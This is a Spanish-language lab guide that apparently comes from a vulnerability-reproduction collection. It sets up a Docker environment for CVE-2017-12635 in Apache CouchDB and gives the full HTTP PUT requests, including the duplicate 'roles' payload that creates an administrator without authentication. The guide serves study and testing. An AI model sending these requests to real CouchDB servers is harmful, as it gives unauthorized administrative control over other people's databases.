
Entorno de reproducción basado en Docker para la escalada vertical de privilegios CVE-2017-12635 de Apache CouchDB mediante inconsistencia del analizador JSON, permitiendo la creación de administradores sin autenticación.
Apache CouchDB es una base de datos de código abierto que se centra en la facilidad de uso y en ser "una base de datos completamente web". Es una base de datos NoSQL que utiliza JSON como formato de almacenamiento, JavaScript como lenguaje de consulta, MapReduce y HTTP como API. Se usa ampliamente, por ejemplo, BBC la utiliza en su plataforma de contenido dinámico, Credit Suisse en el marco de mercado de su departamento interno de productos básicos, y Meebo en su plataforma social (web y aplicaciones).
El 15 de noviembre de 2017 se divulgaron CVE-2017-12635 y CVE-2017-12636. CVE-2017-12635 se debe a las diferencias en el análisis de JSON entre Erlang y JavaScript, lo que genera discrepancias en la ejecución de sentencias. Esta vulnerabilidad permite que cualquier usuario cree un administrador, siendo una vulnerabilidad de omisión de permisos verticales.
Versiones afectadas: anteriores a 1.7.0 y anteriores a 2.1.1
Referencias:
Compilar e iniciar el entorno:
docker-compose build
docker-compose up -d
Una vez iniciado el entorno, acceda a http://your-ip:5984/_utils/ para ver una página web que indica que Couchdb se ha iniciado correctamente. Pero no conocemos la contraseña, por lo que no podemos iniciar sesión.
Primero, envíe el siguiente paquete de datos:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
Se puede observar que devuelve un error 403: {"error":"forbidden","reason":"Only _admin may set roles"}. Solo el administrador puede establecer el rol:
Envíe un paquete de datos que contenga dos roles para eludir la restricción:
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
Se crea con éxito un administrador, tanto el usuario como la contraseña son vulhub:

Acceda nuevamente a http://your-ip:5984/_utils/, ingrese el usuario y contraseña vulhub, y podrá iniciar sesión correctamente:
